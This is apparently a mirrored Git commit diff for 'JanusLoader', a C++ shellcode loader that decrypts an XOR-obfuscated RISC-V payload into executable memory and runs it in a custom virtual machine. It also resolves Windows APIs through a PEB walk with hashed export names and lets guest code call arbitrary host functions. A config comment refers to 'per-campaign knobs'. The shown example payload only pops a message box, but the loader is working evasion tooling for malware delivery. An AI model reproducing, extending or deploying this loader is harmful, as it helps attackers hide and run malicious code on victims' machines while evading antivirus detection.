mirror of
https://github.com/Whispergate/JanusLoader
synced 2026-07-22 11:23:12 +00:00
Initial commit!
This commit is contained in:
@@ -0,0 +1,39 @@
|
||||
cmake_minimum_required(VERSION 3.20)
|
||||
project(JanusLoader CXX)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
|
||||
# ── VM + Loader library ───────────────────────────────────────────────────────
|
||||
add_library(janus_vm STATIC
|
||||
src/vm/core.cpp
|
||||
src/vm/alu.cpp
|
||||
src/vm/mem.cpp
|
||||
src/vm/branch.cpp
|
||||
src/vm/system.cpp
|
||||
src/syscall/winapi.cpp
|
||||
src/syscall/table.cpp
|
||||
src/loader/crypto.cpp
|
||||
src/loader/loader.cpp
|
||||
src/loader/payload_blob.cpp
|
||||
)
|
||||
|
||||
target_include_directories(janus_vm PUBLIC include)
|
||||
|
||||
if (MSVC)
|
||||
target_compile_options(janus_vm PRIVATE /O2 /GS- /W4)
|
||||
target_compile_definitions(janus_vm PRIVATE _CRT_SECURE_NO_WARNINGS)
|
||||
else()
|
||||
target_compile_options(janus_vm PRIVATE -O2 -Wall -Wextra)
|
||||
endif()
|
||||
|
||||
# ── Loader executable ─────────────────────────────────────────────────────────
|
||||
add_executable(JanusLoader src/main.cpp)
|
||||
target_link_libraries(JanusLoader PRIVATE janus_vm)
|
||||
|
||||
if (WIN32)
|
||||
target_link_libraries(JanusLoader PRIVATE kernel32)
|
||||
endif()
|
||||
|
||||
# ── Build payload separately ──────────────────────────────────────────────────
|
||||
# cd payload && cmake -B build -DCMAKE_TOOLCHAIN_FILE=../cmake/riscv64.cmake && cmake --build build
|
||||
@@ -0,0 +1,14 @@
|
||||
set(CMAKE_SYSTEM_NAME Generic)
|
||||
set(CMAKE_SYSTEM_PROCESSOR riscv64)
|
||||
|
||||
set(TRIPLE riscv64-linux-gnu)
|
||||
|
||||
set(CMAKE_C_COMPILER ${TRIPLE}-gcc)
|
||||
set(CMAKE_CXX_COMPILER ${TRIPLE}-g++)
|
||||
set(CMAKE_ASM_COMPILER ${TRIPLE}-gcc)
|
||||
|
||||
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
|
||||
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
|
||||
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
|
||||
|
||||
set(CMAKE_EXE_LINKER_FLAGS_INIT "-nostdlib -static")
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
#include <cstdint>
|
||||
|
||||
// Per-campaign knobs. Change both values, then rebuild loader + rerun tools/embed_payload.py.
|
||||
#define JANUS_OPCODE_SEED 0xDEADBEEFu
|
||||
#define JANUS_XOR_KEY 0x4Au
|
||||
#define JANUS_STACK_SIZE (1u << 20) // 1 MiB
|
||||
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
#include <cstdint>
|
||||
|
||||
// Field extractors — no bit-twiddling at call sites
|
||||
inline int rv_rd (uint32_t i) { return (i >> 7) & 0x1F; }
|
||||
inline int rv_rs1(uint32_t i) { return (i >> 15) & 0x1F; }
|
||||
inline int rv_rs2(uint32_t i) { return (i >> 20) & 0x1F; }
|
||||
inline int rv_f3 (uint32_t i) { return (i >> 12) & 0x7; }
|
||||
inline int rv_f7 (uint32_t i) { return (i >> 25) & 0x7F; }
|
||||
inline int rv_op (uint32_t i) { return (i >> 2) & 0x1F; }
|
||||
|
||||
// Sign-extended immediates
|
||||
inline int64_t rv_imm_i(uint32_t i) {
|
||||
return (int64_t)(int32_t)i >> 20;
|
||||
}
|
||||
inline int64_t rv_imm_u(uint32_t i) {
|
||||
return (int64_t)(int32_t)(i & 0xFFFFF000u);
|
||||
}
|
||||
inline int64_t rv_imm_s(uint32_t i) {
|
||||
// imm[11:5] at bits 31:25, imm[4:0] at bits 11:7
|
||||
return ((int64_t)(int32_t)i >> 20 & ~(int64_t)0x1F) | ((i >> 7) & 0x1F);
|
||||
}
|
||||
inline int64_t rv_imm_b(uint32_t i) {
|
||||
// {imm[12], imm[11], imm[10:5], imm[4:1], 0}
|
||||
uint32_t raw = ((i >> 19) & 0x1000u) // bit 31 → bit 12
|
||||
| ((i << 4) & 0x0800u) // bit 7 → bit 11
|
||||
| ((i >> 20) & 0x07E0u) // bits 30:25 → bits 10:5
|
||||
| ((i >> 7) & 0x001Eu); // bits 11:8 → bits 4:1
|
||||
return (int64_t)(int32_t)(raw << 19) >> 19; // sign-extend from bit 12
|
||||
}
|
||||
inline int64_t rv_imm_j(uint32_t i) {
|
||||
// {imm[20], imm[19:12], imm[11], imm[10:1], 0}
|
||||
uint32_t raw = ((i >> 11) & 0x100000u) // bit 31 → bit 20
|
||||
| (i & 0x0FF000u) // bits 19:12 stay
|
||||
| ((i >> 9) & 0x000800u) // bit 20 → bit 11
|
||||
| ((i >> 20) & 0x0007FEu); // bits 30:21 → bits 10:1
|
||||
return (int64_t)(int32_t)(raw << 11) >> 11; // sign-extend from bit 20
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
#include <cstdint>
|
||||
#include <cstddef>
|
||||
#include "vm.hpp"
|
||||
|
||||
// Payload blob is generated by tools/embed_payload.py
|
||||
extern const uint8_t kPayload[];
|
||||
extern const size_t kPayloadSize;
|
||||
extern const uint64_t kEntryOffset; // offset into decrypted blob of entry point
|
||||
extern const uint64_t kRelocOffsets[]; // offsets of 64-bit host pointers needing base fixup
|
||||
extern const size_t kRelocCount;
|
||||
|
||||
// Decrypt, allocate, apply relocations, return initialised vm ready to run.
|
||||
// Caller owns allocated memory (freed on process exit in shellcode context, so ignored).
|
||||
bool janus_load(RiscVm* vm, SyscallTable* sc);
|
||||
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
#include <cstdint>
|
||||
|
||||
// ECALL numbers (payload convention — a7 register)
|
||||
enum JanusEcall : uint64_t {
|
||||
ECALL_GET_PEB = 0, // () -> void* peb
|
||||
ECALL_HOST_CALL = 1, // (void* fn, uintptr_t* args, int argc) -> uintptr_t
|
||||
ECALL_RESOLVE = 2, // (char* mod, char* sym) -> void*
|
||||
ECALL_EXIT = 3, // (int code) -> noreturn
|
||||
};
|
||||
|
||||
// Swap this struct to retarget the VM (different OS, sandbox environment, etc.)
|
||||
struct SyscallTable {
|
||||
void* (*get_peb)();
|
||||
uintptr_t (*host_call)(void* fn, uintptr_t* args, int argc);
|
||||
void* (*resolve)(const char* mod, const char* sym);
|
||||
void (*exit_fn)(int code);
|
||||
};
|
||||
|
||||
// Default Windows implementation (defined in src/syscall/table.cpp)
|
||||
extern SyscallTable g_win_syscalls;
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
#include <cstdint>
|
||||
#include <cstddef>
|
||||
#include "syscall.hpp"
|
||||
|
||||
// RISC-V ABI register indices
|
||||
enum : int {
|
||||
RV_ZERO=0, RV_RA=1, RV_SP=2, RV_GP=3, RV_TP=4,
|
||||
RV_T0=5, RV_T1=6, RV_T2=7,
|
||||
RV_S0=8, RV_FP=8, RV_S1=9,
|
||||
RV_A0=10, RV_A1=11, RV_A2=12, RV_A3=13,
|
||||
RV_A4=14, RV_A5=15, RV_A6=16, RV_A7=17,
|
||||
RV_S2=18, RV_S3=19, RV_S4=20, RV_S5=21,
|
||||
RV_S6=22, RV_S7=23, RV_S8=24, RV_S9=25,
|
||||
RV_S10=26, RV_S11=27,
|
||||
RV_T3=28, RV_T4=29, RV_T5=30, RV_T6=31,
|
||||
};
|
||||
|
||||
struct RiscVm {
|
||||
int64_t regs[32]; // x0 hardwired 0
|
||||
uint64_t pc;
|
||||
uint8_t* mem_base; // flat allocation; guest addrs == host addrs
|
||||
size_t mem_size;
|
||||
SyscallTable* syscalls; // swappable
|
||||
bool halted;
|
||||
};
|
||||
|
||||
// Helpers
|
||||
inline void rv_wreg(RiscVm* vm, int rd, int64_t v) { if (rd) vm->regs[rd] = v; }
|
||||
inline void rv_adv (RiscVm* vm) { vm->pc += 4; }
|
||||
inline uint32_t rv_fetch(const RiscVm* vm) {
|
||||
return *reinterpret_cast<const uint32_t*>(static_cast<uintptr_t>(vm->pc));
|
||||
}
|
||||
|
||||
void riscvm_init(RiscVm* vm, uint8_t* mem, size_t mem_sz, SyscallTable* sc);
|
||||
void riscvm_run (RiscVm* vm);
|
||||
@@ -0,0 +1,38 @@
|
||||
cmake_minimum_required(VERSION 3.20)
|
||||
project(JanusPayload C CXX ASM)
|
||||
|
||||
# Requires a RISC-V cross-compiler:
|
||||
# apt install gcc-riscv64-linux-gnu g++-riscv64-linux-gnu
|
||||
# Or pass -DCMAKE_TOOLCHAIN_FILE=../cmake/riscv64.cmake
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
|
||||
add_executable(payload
|
||||
crt0.S
|
||||
main.cpp
|
||||
)
|
||||
|
||||
target_compile_options(payload PRIVATE
|
||||
-nostdlib
|
||||
-fno-exceptions
|
||||
-fno-rtti
|
||||
-fPIC
|
||||
-Os
|
||||
-march=rv64imac
|
||||
-mabi=lp64
|
||||
)
|
||||
|
||||
target_link_options(payload PRIVATE
|
||||
-nostdlib
|
||||
-static
|
||||
-fuse-ld=lld # requires: sudo apt install lld
|
||||
-T ${CMAKE_CURRENT_SOURCE_DIR}/link.ld
|
||||
)
|
||||
|
||||
# After build, generate flat binary + run embed_payload.py
|
||||
add_custom_command(TARGET payload POST_BUILD
|
||||
COMMAND python3 ${CMAKE_SOURCE_DIR}/../tools/embed_payload.py
|
||||
$<TARGET_FILE:payload>
|
||||
${CMAKE_SOURCE_DIR}/../src/loader/payload_blob.cpp
|
||||
COMMENT "Embedding payload into loader"
|
||||
)
|
||||
@@ -0,0 +1,25 @@
|
||||
.section .text
|
||||
.global _start
|
||||
_start:
|
||||
# Set up global pointer (linker relaxation)
|
||||
.option push
|
||||
.option norelax
|
||||
la gp, __global_pointer$
|
||||
.option pop
|
||||
|
||||
# Zero .bss
|
||||
la a0, __bss_start
|
||||
la a1, __bss_end
|
||||
.Lbss_loop:
|
||||
bge a0, a1, .Lbss_done
|
||||
sb zero, 0(a0)
|
||||
addi a0, a0, 1
|
||||
j .Lbss_loop
|
||||
.Lbss_done:
|
||||
|
||||
# sp already set by loader (top of stack region)
|
||||
call janus_main
|
||||
|
||||
li a7, 3 # ECALL_EXIT
|
||||
li a0, 0
|
||||
ecall
|
||||
@@ -0,0 +1,59 @@
|
||||
#pragma once
|
||||
typedef unsigned long long uintptr_t;
|
||||
typedef unsigned long long uint64_t;
|
||||
|
||||
// Inline wrappers for Janus ECALLs from payload code.
|
||||
// These must stay header-only so the payload has no external deps.
|
||||
|
||||
static inline void* janus_get_peb() {
|
||||
void* r;
|
||||
asm volatile (
|
||||
"li a7, 0\n"
|
||||
"ecall\n"
|
||||
"mv %0, a0\n"
|
||||
: "=r"(r) :: "a7", "a0", "memory"
|
||||
);
|
||||
return r;
|
||||
}
|
||||
|
||||
// fn: function pointer obtained via janus_resolve
|
||||
// args: array of uintptr_t on the stack, argc: element count
|
||||
static inline uintptr_t janus_host_call(void* fn, uintptr_t* args, int argc) {
|
||||
uintptr_t r;
|
||||
asm volatile (
|
||||
"li a7, 1\n"
|
||||
"mv a0, %1\n"
|
||||
"mv a1, %2\n"
|
||||
"mv a2, %3\n"
|
||||
"ecall\n"
|
||||
"mv %0, a0\n"
|
||||
: "=r"(r)
|
||||
: "r"(fn), "r"(args), "r"((uintptr_t)argc)
|
||||
: "a7", "a0", "a1", "a2", "memory"
|
||||
);
|
||||
return r;
|
||||
}
|
||||
|
||||
static inline void* janus_resolve(const char* mod, const char* sym) {
|
||||
void* r;
|
||||
asm volatile (
|
||||
"li a7, 2\n"
|
||||
"mv a0, %1\n"
|
||||
"mv a1, %2\n"
|
||||
"ecall\n"
|
||||
"mv %0, a0\n"
|
||||
: "=r"(r)
|
||||
: "r"(mod), "r"(sym)
|
||||
: "a7", "a0", "a1", "memory"
|
||||
);
|
||||
return r;
|
||||
}
|
||||
|
||||
static inline void janus_exit(int code) {
|
||||
asm volatile (
|
||||
"li a7, 3\n"
|
||||
"mv a0, %0\n"
|
||||
"ecall\n"
|
||||
:: "r"((uintptr_t)code) : "a7", "a0", "memory"
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
OUTPUT_ARCH(riscv)
|
||||
ENTRY(_start)
|
||||
|
||||
SECTIONS {
|
||||
. = 0x0;
|
||||
__base = .;
|
||||
|
||||
.text : { *(.text .text.*) }
|
||||
.rodata : { *(.rodata .rodata.*) }
|
||||
|
||||
. = ALIGN(8);
|
||||
.data : { *(.data .data.*) }
|
||||
|
||||
. = ALIGN(8);
|
||||
__bss_start = .;
|
||||
.bss : { *(.bss .bss.*) *(COMMON) }
|
||||
__bss_end = .;
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
#include "ecall.hpp"
|
||||
|
||||
// Example payload: resolve and call MessageBoxA via the VM's syscall layer.
|
||||
// On Windows: a dialog box pops. On Linux test (stub syscalls): a0 returns 0.
|
||||
|
||||
extern "C" void janus_main() {
|
||||
void* msgbox = janus_resolve("user32.dll", "MessageBoxA");
|
||||
if (!msgbox) return;
|
||||
|
||||
const char* text = "JanusLoader: RISC-V VM shellcode running";
|
||||
const char* caption = "JanusLoader";
|
||||
|
||||
uintptr_t args[4] = {
|
||||
0, // hWnd = NULL
|
||||
(uintptr_t)text,
|
||||
(uintptr_t)caption,
|
||||
0, // MB_OK
|
||||
};
|
||||
janus_host_call(msgbox, args, 4);
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#include "janus/config.hpp"
|
||||
#include <cstdint>
|
||||
#include <cstddef>
|
||||
|
||||
// Position-keyed XOR: byte[i] ^= key[(i * 0x67) & 0xFF]
|
||||
// Same operation decrypts (XOR is its own inverse).
|
||||
void janus_xor_crypt(uint8_t* buf, size_t len) {
|
||||
for (size_t i = 0; i < len; i++)
|
||||
buf[i] ^= (uint8_t)(JANUS_XOR_KEY ^ ((i * 0x67u) & 0xFFu));
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
#include "janus/loader.hpp"
|
||||
#include "janus/config.hpp"
|
||||
#include <cstring>
|
||||
|
||||
#ifdef _WIN32
|
||||
# define WIN32_LEAN_AND_MEAN
|
||||
# include <windows.h>
|
||||
static void* alloc_rwx(size_t sz) {
|
||||
return VirtualAlloc(nullptr, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
}
|
||||
#else
|
||||
# include <sys/mman.h>
|
||||
static void* alloc_rwx(size_t sz) {
|
||||
void* p = mmap(nullptr, sz, PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
return p == MAP_FAILED ? nullptr : p;
|
||||
}
|
||||
#endif
|
||||
|
||||
void janus_xor_crypt(uint8_t* buf, size_t len); // crypto.cpp
|
||||
|
||||
bool janus_load(RiscVm* vm, SyscallTable* sc) {
|
||||
size_t total = kPayloadSize + JANUS_STACK_SIZE;
|
||||
uint8_t* mem = (uint8_t*)alloc_rwx(total);
|
||||
if (!mem) return false;
|
||||
|
||||
// Decrypt payload into allocation
|
||||
memcpy(mem, kPayload, kPayloadSize);
|
||||
janus_xor_crypt(mem, kPayloadSize);
|
||||
|
||||
// Fix up absolute 64-bit pointers embedded in the payload
|
||||
uint64_t base = (uint64_t)(uintptr_t)mem;
|
||||
for (size_t i = 0; i < kRelocCount; i++) {
|
||||
uint64_t* slot = (uint64_t*)(mem + kRelocOffsets[i]);
|
||||
*slot += base;
|
||||
}
|
||||
|
||||
// Stack sits above the payload, sp at top aligned to 16
|
||||
uint64_t sp = (base + total) & ~(uint64_t)15;
|
||||
|
||||
riscvm_init(vm, mem, total, sc);
|
||||
vm->pc = base + kEntryOffset;
|
||||
vm->regs[RV_SP] = (int64_t)sp;
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
// AUTO-GENERATED by tools/embed_payload.py — do not edit by hand.
|
||||
// Run: python3 tools/embed_payload.py payload/build/payload.elf src/loader/payload_blob.cpp
|
||||
#include <cstdint>
|
||||
#include <cstddef>
|
||||
|
||||
// Stub: replace with generated output after building the payload.
|
||||
extern const uint8_t kPayload[] = { 0x00 };
|
||||
extern const size_t kPayloadSize = 1;
|
||||
extern const uint64_t kEntryOffset = 0;
|
||||
extern const uint64_t kRelocOffsets[] = {};
|
||||
extern const size_t kRelocCount = 0;
|
||||
@@ -0,0 +1,11 @@
|
||||
#include "janus/loader.hpp"
|
||||
#include "janus/vm.hpp"
|
||||
#include "janus/syscall.hpp"
|
||||
|
||||
int main() {
|
||||
RiscVm vm{};
|
||||
if (!janus_load(&vm, &g_win_syscalls))
|
||||
return 1;
|
||||
riscvm_run(&vm);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
#include "janus/syscall.hpp"
|
||||
#include <cstdlib>
|
||||
|
||||
#ifdef _WIN32
|
||||
// Declared in winapi.cpp
|
||||
void* janus_get_peb();
|
||||
void* janus_resolve(const char* mod, const char* sym);
|
||||
uintptr_t janus_host_call(void* fn, uintptr_t* args, int argc);
|
||||
void janus_exit(int code);
|
||||
|
||||
SyscallTable g_win_syscalls = {
|
||||
.get_peb = janus_get_peb,
|
||||
.host_call = janus_host_call,
|
||||
.resolve = janus_resolve,
|
||||
.exit_fn = janus_exit,
|
||||
};
|
||||
|
||||
#else
|
||||
// Stub table for testing on Linux
|
||||
static void* stub_get_peb() { return nullptr; }
|
||||
static uintptr_t stub_host_call(void*, uintptr_t*, int) { return 0; }
|
||||
static void* stub_resolve(const char*, const char*) { return nullptr; }
|
||||
static void stub_exit(int code) { exit(code); }
|
||||
|
||||
SyscallTable g_win_syscalls = {
|
||||
.get_peb = stub_get_peb,
|
||||
.host_call = stub_host_call,
|
||||
.resolve = stub_resolve,
|
||||
.exit_fn = stub_exit,
|
||||
};
|
||||
#endif
|
||||
@@ -0,0 +1,115 @@
|
||||
#ifdef _WIN32
|
||||
#include "janus/syscall.hpp"
|
||||
#include <cstdint>
|
||||
#include <cstring>
|
||||
#include <intrin.h> // __readgsqword
|
||||
|
||||
|
||||
static uint32_t hash_str(const char* s) {
|
||||
uint32_t h = 0;
|
||||
while (*s) h = h * 65599u + (uint8_t)*s++;
|
||||
return h;
|
||||
}
|
||||
|
||||
// Case-insensitive: wide DLL name (Length in bytes) vs ASCII mod string
|
||||
static bool wname_eq(const wchar_t* wname, uint16_t len_bytes, const char* ascii) {
|
||||
uint16_t wlen = len_bytes / 2;
|
||||
uint16_t i = 0;
|
||||
while (*ascii) {
|
||||
if (i >= wlen) return false;
|
||||
wchar_t wc = wname[i++];
|
||||
char ac = *ascii++;
|
||||
if (wc >= L'A' && wc <= L'Z') wc += L'a' - L'A';
|
||||
if (ac >= 'A' && ac <= 'Z') ac += 'a' - 'A';
|
||||
if (wc != (wchar_t)(uint8_t)ac) return false;
|
||||
}
|
||||
return i == wlen;
|
||||
}
|
||||
|
||||
|
||||
static void* get_export(void* base, const char* sym) {
|
||||
uint8_t* b = (uint8_t*)base;
|
||||
uint32_t pe_off = *(uint32_t*)(b + 0x3C);
|
||||
uint8_t* pe = b + pe_off;
|
||||
|
||||
// DataDirectory[0] = Export directory, at OptionalHeader64 + 0x70
|
||||
// OptionalHeader64 starts at pe + 0x18 (after Signature + FileHeader)
|
||||
uint32_t exp_rva = *(uint32_t*)(pe + 0x18 + 0x70);
|
||||
if (!exp_rva) return nullptr;
|
||||
|
||||
uint8_t* ed = b + exp_rva;
|
||||
uint32_t n_names = *(uint32_t*)(ed + 24);
|
||||
uint32_t* names = (uint32_t*)(b + *(uint32_t*)(ed + 32));
|
||||
uint16_t* ordinals = (uint16_t*)(b + *(uint32_t*)(ed + 36));
|
||||
uint32_t* funcs = (uint32_t*)(b + *(uint32_t*)(ed + 28));
|
||||
|
||||
uint32_t target = hash_str(sym);
|
||||
for (uint32_t i = 0; i < n_names; i++) {
|
||||
if (hash_str((const char*)(b + names[i])) == target)
|
||||
return b + funcs[ordinals[i]];
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
//PEB WALK
|
||||
|
||||
void* janus_get_peb() {
|
||||
return (void*)__readgsqword(0x60);
|
||||
}
|
||||
|
||||
void* janus_resolve(const char* mod, const char* sym) {
|
||||
uint8_t* peb = (uint8_t*)janus_get_peb();
|
||||
uint8_t* ldr = *(uint8_t**)(peb + 0x18);
|
||||
void* head = *(void**)(ldr + 0x10); // InLoadOrderModuleList.Flink
|
||||
void* cur = head;
|
||||
|
||||
do {
|
||||
uint8_t* entry = (uint8_t*)cur;
|
||||
void* dll_base = *(void**)(entry + 0x30);
|
||||
uint16_t name_len = *(uint16_t*)(entry + 0x58); // BaseDllName.Length (bytes)
|
||||
wchar_t* name_buf = *(wchar_t**)(entry + 0x60); // BaseDllName.Buffer
|
||||
|
||||
if (dll_base && name_len && wname_eq(name_buf, name_len, mod)) {
|
||||
void* fn = get_export(dll_base, sym);
|
||||
if (fn) return fn;
|
||||
}
|
||||
cur = *(void**)entry; // follow Flink
|
||||
} while (cur != head);
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
|
||||
uintptr_t janus_host_call(void* fn, uintptr_t* a, int argc) {
|
||||
using F0 = uintptr_t(*)();
|
||||
using F1 = uintptr_t(*)(uintptr_t);
|
||||
using F2 = uintptr_t(*)(uintptr_t,uintptr_t);
|
||||
using F3 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t);
|
||||
using F4 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t);
|
||||
using F5 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t);
|
||||
using F6 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t);
|
||||
using F7 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t);
|
||||
using F8 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t);
|
||||
|
||||
switch (argc) {
|
||||
case 0: return ((F0)fn)();
|
||||
case 1: return ((F1)fn)(a[0]);
|
||||
case 2: return ((F2)fn)(a[0],a[1]);
|
||||
case 3: return ((F3)fn)(a[0],a[1],a[2]);
|
||||
case 4: return ((F4)fn)(a[0],a[1],a[2],a[3]);
|
||||
case 5: return ((F5)fn)(a[0],a[1],a[2],a[3],a[4]);
|
||||
case 6: return ((F6)fn)(a[0],a[1],a[2],a[3],a[4],a[5]);
|
||||
case 7: return ((F7)fn)(a[0],a[1],a[2],a[3],a[4],a[5],a[6]);
|
||||
case 8: return ((F8)fn)(a[0],a[1],a[2],a[3],a[4],a[5],a[6],a[7]);
|
||||
default: return 0;
|
||||
}
|
||||
}
|
||||
|
||||
void janus_exit(int code) {
|
||||
// Resolve ExitProcess from kernel32 and call it — no import needed
|
||||
void* exit_fn = janus_resolve("kernel32.dll", "ExitProcess");
|
||||
if (exit_fn) ((void(*)(unsigned int))exit_fn)((unsigned int)code);
|
||||
__assume(0); // unreachable
|
||||
}
|
||||
|
||||
#endif // _WIN32
|
||||
+153
@@ -0,0 +1,153 @@
|
||||
#include "janus/vm.hpp"
|
||||
#include "janus/decode.hpp"
|
||||
#include <cstdint>
|
||||
|
||||
void handle_lui(RiscVm* vm, uint32_t i) {
|
||||
rv_wreg(vm, rv_rd(i), rv_imm_u(i));
|
||||
rv_adv(vm);
|
||||
}
|
||||
|
||||
void handle_auipc(RiscVm* vm, uint32_t i) {
|
||||
rv_wreg(vm, rv_rd(i), (int64_t)vm->pc + rv_imm_u(i));
|
||||
rv_adv(vm);
|
||||
}
|
||||
|
||||
void handle_op_imm(RiscVm* vm, uint32_t i) {
|
||||
int rd = rv_rd(i), rs1 = rv_rs1(i), f3 = rv_f3(i);
|
||||
int64_t src = vm->regs[rs1];
|
||||
int64_t imm = rv_imm_i(i);
|
||||
int64_t res = 0;
|
||||
|
||||
switch (f3) {
|
||||
case 0: res = src + imm; break; // ADDI
|
||||
case 1: res = src << (imm & 0x3F); break; // SLLI
|
||||
case 2: res = (int64_t)(src < imm); break; // SLTI
|
||||
case 3: res = (int64_t)((uint64_t)src < (uint64_t)imm); break; // SLTIU
|
||||
case 4: res = src ^ imm; break; // XORI
|
||||
case 5: // SRLI / SRAI
|
||||
if (i >> 26 & 1) res = src >> (imm & 0x3F); // SRAI (arith)
|
||||
else res = (int64_t)((uint64_t)src >> (imm & 0x3F)); // SRLI
|
||||
break;
|
||||
case 6: res = src | imm; break; // ORI
|
||||
case 7: res = src & imm; break; // ANDI
|
||||
}
|
||||
rv_wreg(vm, rd, res);
|
||||
rv_adv(vm);
|
||||
}
|
||||
|
||||
|
||||
void handle_op_imm32(RiscVm* vm, uint32_t i) {
|
||||
int rd = rv_rd(i), rs1 = rv_rs1(i), f3 = rv_f3(i);
|
||||
int32_t src = (int32_t)vm->regs[rs1];
|
||||
int64_t imm = rv_imm_i(i);
|
||||
int32_t res = 0;
|
||||
|
||||
switch (f3) {
|
||||
case 0: res = src + (int32_t)imm; break; // ADDIW
|
||||
case 1: res = src << (imm & 0x1F); break; // SLLIW
|
||||
case 5: // SRLIW / SRAIW
|
||||
if (i >> 30 & 1) res = src >> (imm & 0x1F); // SRAIW
|
||||
else res = (int32_t)((uint32_t)src >> (imm & 0x1F)); // SRLIW
|
||||
break;
|
||||
}
|
||||
rv_wreg(vm, rd, (int64_t)res);
|
||||
rv_adv(vm);
|
||||
}
|
||||
|
||||
|
||||
void handle_op(RiscVm* vm, uint32_t i) {
|
||||
int rd = rv_rd(i), rs1 = rv_rs1(i), rs2 = rv_rs2(i);
|
||||
int f3 = rv_f3(i), f7 = rv_f7(i);
|
||||
int64_t a = vm->regs[rs1], b = vm->regs[rs2];
|
||||
int64_t res = 0;
|
||||
|
||||
if (f7 == 1) { // M extension
|
||||
switch (f3) {
|
||||
case 0: res = a * b; break; // MUL
|
||||
case 1: { // MULH — signed * signed, upper 64 bits
|
||||
__int128 r = (__int128)a * (__int128)b;
|
||||
res = (int64_t)(r >> 64); break;
|
||||
}
|
||||
case 2: { // MULHSU — signed * unsigned, upper 64 bits
|
||||
__int128 r = (__int128)a * (__int128)(uint64_t)b;
|
||||
res = (int64_t)(r >> 64); break;
|
||||
}
|
||||
case 3: { // MULHU
|
||||
unsigned __int128 r = (unsigned __int128)(uint64_t)a * (uint64_t)b;
|
||||
res = (int64_t)(r >> 64); break;
|
||||
}
|
||||
case 4: // DIV
|
||||
if (!b) { res = -1; }
|
||||
else if (a == INT64_MIN && b == -1) { res = INT64_MIN; }
|
||||
else { res = a / b; }
|
||||
break;
|
||||
case 5: // DIVU
|
||||
res = b ? (int64_t)((uint64_t)a / (uint64_t)b) : (int64_t)UINT64_MAX; break;
|
||||
case 6: // REM
|
||||
if (!b) { res = a; }
|
||||
else if (a == INT64_MIN && b == -1) { res = 0; }
|
||||
else { res = a % b; }
|
||||
break;
|
||||
case 7: // REMU
|
||||
res = b ? (int64_t)((uint64_t)a % (uint64_t)b) : a; break;
|
||||
}
|
||||
} else {
|
||||
bool sub_sra = (f7 >> 5) & 1;
|
||||
switch (f3) {
|
||||
case 0: res = sub_sra ? (a - b) : (a + b); break; // ADD / SUB
|
||||
case 1: res = a << (b & 0x3F); break; // SLL
|
||||
case 2: res = (int64_t)(a < b); break; // SLT
|
||||
case 3: res = (int64_t)((uint64_t)a < (uint64_t)b); break; // SLTU
|
||||
case 4: res = a ^ b; break; // XOR
|
||||
case 5: // SRL / SRA
|
||||
if (sub_sra) res = a >> (b & 0x3F);
|
||||
else res = (int64_t)((uint64_t)a >> (b & 0x3F));
|
||||
break;
|
||||
case 6: res = a | b; break; // OR
|
||||
case 7: res = a & b; break; // AND
|
||||
}
|
||||
}
|
||||
rv_wreg(vm, rd, res);
|
||||
rv_adv(vm);
|
||||
}
|
||||
|
||||
|
||||
void handle_op32(RiscVm* vm, uint32_t i) {
|
||||
int rd = rv_rd(i), rs1 = rv_rs1(i), rs2 = rv_rs2(i);
|
||||
int f3 = rv_f3(i), f7 = rv_f7(i);
|
||||
int32_t a = (int32_t)vm->regs[rs1];
|
||||
int32_t b = (int32_t)vm->regs[rs2];
|
||||
int32_t res = 0;
|
||||
bool sub_sra = (f7 >> 5) & 1;
|
||||
|
||||
if (f7 == 1) { // M extension 32-bit
|
||||
switch (f3) {
|
||||
case 0: res = a * b; break; // MULW
|
||||
case 4: // DIVW
|
||||
if (!b) { res = -1; }
|
||||
else if (a == INT32_MIN && b == -1) { res = INT32_MIN; }
|
||||
else { res = a / b; }
|
||||
break;
|
||||
case 5: // DIVUW
|
||||
res = b ? (int32_t)((uint32_t)a / (uint32_t)b) : (int32_t)UINT32_MAX; break;
|
||||
case 6: // REMW
|
||||
if (!b) { res = a; }
|
||||
else if (a == INT32_MIN && b == -1) { res = 0; }
|
||||
else { res = a % b; }
|
||||
break;
|
||||
case 7: // REMUW
|
||||
res = b ? (int32_t)((uint32_t)a % (uint32_t)b) : a; break;
|
||||
}
|
||||
} else {
|
||||
switch (f3) {
|
||||
case 0: res = sub_sra ? (a - b) : (a + b); break; // ADDW / SUBW
|
||||
case 1: res = a << (b & 0x1F); break; // SLLW
|
||||
case 5: // SRLW / SRAW
|
||||
if (sub_sra) res = a >> (b & 0x1F);
|
||||
else res = (int32_t)((uint32_t)a >> (b & 0x1F));
|
||||
break;
|
||||
}
|
||||
}
|
||||
rv_wreg(vm, rd, (int64_t)res);
|
||||
rv_adv(vm);
|
